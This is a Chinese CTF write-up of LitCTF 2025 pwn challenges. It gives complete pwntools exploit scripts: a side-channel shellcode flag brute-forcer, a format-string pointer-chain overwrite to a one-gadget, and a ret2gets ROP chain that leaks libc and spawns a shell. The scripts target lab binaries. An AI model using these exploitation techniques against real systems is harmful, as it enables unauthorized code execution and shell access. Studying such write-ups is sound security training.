LitCTF-pwn

比赛的时候比较忙,当时没怎么看题,做了一道签到就下了,结束后打了一下,最后一个pwnpwn没看懂什么意思,等复现了

test_your_nc

签到题

d8be4818c4852450eeec8d8d77f5ad7

shellcode

题目直接执行shellcode

image

只允许使用read+open,测信道爆破flag

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from pwn import *
from struct import pack
import time
import random
import ctypes
#from LibcSearcher import *
from ae64 import AE64

def bug():
gdb.attach(p)
pause()

def s(a):
p.send(a)

def sa(a,b):
p.sendafter(a,b)

def sl(a):
p.sendline(a)

def sla(a,b):
p.sendlineafter(a,b)

def r(a):
return p.recv(a, timeout=1)

def rl(a):
return p.recvuntil(a, timeout=1)

def inter():
p.interactive()

def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))

def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])

def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()

def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

def log_info(message, status=None):
color_codes = {
'success': '\033[92m',
'error': '\033[91m',
'warning': '\033[93m',
None: '\033[95m'
}
color = color_codes.get(status, '\033[95m')
print(f"{color}[*] {message}\033[0m")

def get_random_delay():
return random.uniform(0.1, 0.5)

context(os='linux', arch='amd64', log_level='error')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn')

# 完整字符集
full_charset = "{}0123456789-_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

# 直接在此处设置已知前缀(修改此行即可)
FLAG_PREFIX = "flag{" # <-- 在此处修改前缀

if not FLAG_PREFIX:
log_info("未设置前缀,将使用完整字典爆破", 'warning')
initial_index = 0
else:
initial_index = len(FLAG_PREFIX)
log_info(f"将从位置 {initial_index} 开始爆破,前缀: {FLAG_PREFIX}", 'success')

s = full_charset
char_list = [ord(x) for x in s]
flag = FLAG_PREFIX # 初始化flag为预设前缀

shellcode = """
mov rdi, 0x67616c662f2e
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov bl, byte ptr [rsp+{}]
cmp bl, {}
jz $-0x3
"""

index = initial_index
MAX_RETRY = 5
MAX_CONSECUTIVE_FAILURES = 10
consecutive_failures = 0

while True:
if consecutive_failures >= MAX_CONSECUTIVE_FAILURES:
log_info("检测到信道不稳定,暂停5秒后重试", 'warning')
time.sleep(5)
consecutive_failures = 0

for i in range(len(s)):
retry_count = MAX_RETRY
success = False

while retry_count > 0 and not success:
time.sleep(get_random_delay())

try:
# 切换本地/远程模式
p = process('./pwn')
#p = remote('node8.anna.nssctf.cn', 22581)

payload = asm(shellcode.format(index, char_list[i]))
sla(b'Please input your shellcode: \n', payload)

try:
judge = rl(b'\n')
except (EOFError, TimeoutError):
log_info(f"字符 {s[i]} 导致连接关闭,重试 ({MAX_RETRY-retry_count+1}/{MAX_RETRY})", 'warning')
retry_count -= 1
consecutive_failures += 1
p.close()
continue

if len(judge) < 3:
flag += s[i]
log_info(f"找到字符: {s[i]}, 当前flag: {flag}", 'success')
index += 1
success = True
consecutive_failures = 0

p.close()

except Exception as e:
log_info(f"连接异常: {str(e)},剩余重试: {retry_count}", 'error')
retry_count -= 1
consecutive_failures += 1
if p:
p.close()
finally:
if p:
p.close()

if success:
break

if '}' in flag:
log_info(f"最终flag: {flag}", 'success')
exit(0)

inter()

onlyone

详细的就参考这篇文章

https://xz.aliyun.com/news/17965

这道题也就是模仿的当时强网拟态的那道题目,基本上一摸一样,利用一次fmt打一次指针跳板

劫持返回地址为main, 从而实现多次fmt的机会,然后将printf的返回地址+8的地方改为ogg,最后将printf的返回地址改为ret,触发ogg,getshel

imagel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.31.so')

elf=ELF('./fmt')
#p=remote('',)
p = process('./fmt')
rl(b'0x')
stack=int(p.recv(12),16)
li(hex(stack))
rl(b'0x')
libc_base=int(p.recv(12),16)-libc.sym['puts']
li(hex(libc_base))
ogg=libc_base+0xe3b01
addr=(stack&0xffff)-15
payload = b'%p'*9
payload += b'%'+str(addr - 92).encode()+b'c%hn'#11
payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
#bug()
s(payload)
add=(stack+17-0x18)&0xffff
li(hex(add))
sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)


sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)

sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add+2-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)


sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg>>16&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)


sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add+2+2-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)


sleep(0.5)
payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg>>32)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)




payload = b'%'+str(0x069e).encode()+b'c%39$hn'
payload =payload.ljust(0x100,b'\x00')
#bug()
s(payload)






#a=p.recvall()
#print(len(a)-1




inter()

master_of_rop

题目:

image

只存在一个gets,没有pop_rdi,如何去控制rdi呢,这里引入一种比较新颖的手法,ret2gets,在 gets 返回后,rdi 通常指向 _IO_stdfile_0_lock,这是一个 libc 中的可写地址。攻击者可以利用这一点,通过 ROP 链再次调用 gets,向 _IO_stdfile_0_lock 写入任意数据,具体原理会另外写一篇文章分析了,这里直接用了

第一个paylaod

1
2
3
4
payload = b'a'*(0x20)+p64(0)
payload+= p64(elf.plt['gets'])
payload+= p64(elf.plt['puts'])
payload+= p64(0x401100)+p64(0x4011AD)

控制返回地址为gets,往_IO_stdfile_0_lock写入(b"A" * 4 + b"\x00"*3),然后会泄露出TLS,由此计算偏移即可得到libc地址,通知控制返回地址为main,为了第二次打ROP链

这里可以直接用libc中的pop_rdi,也可以用ret2gets的paylaod,这里不能直接输入/bin/sh,调试发现第二个/被转换为. ,可以直接用$0或者

1
p.sendline(b"/bin" + p8(u8(b"/")+1) + b"sh")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr(size):
return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

rl("Welcome to LitCTF2025!")
payload = b'a'*(0x20)+p64(0)
payload+= p64(elf.plt['gets'])
payload+= p64(elf.plt['puts'])
payload+= p64(0x401100)+p64(0x4011AD)
#bug()
sl(payload)

#pause()
sleep(0.2)
p.sendline(b"A" * 4 + b"\x00"*3)

p.recv(8)
p.recv(8)
tls = u64(p.recv(6) + b"\x00\x00")
li(hex(tls))
libc_base = tls -0x3a5740
li(hex(libc_base))
system,bin_sh=get_sb()

rl("Welcome to LitCTF2025!")
payload = b'a'*(0x20)+p64(0)
payload+= p64(elf.plt['gets'])
payload+= p64(system)

#bug()
sl(payload)

sleep(0.2)
#sl(b'$0\x00')
p.sendline(b"/bin" + p8(u8(b"/")+1) + b"sh")
inter()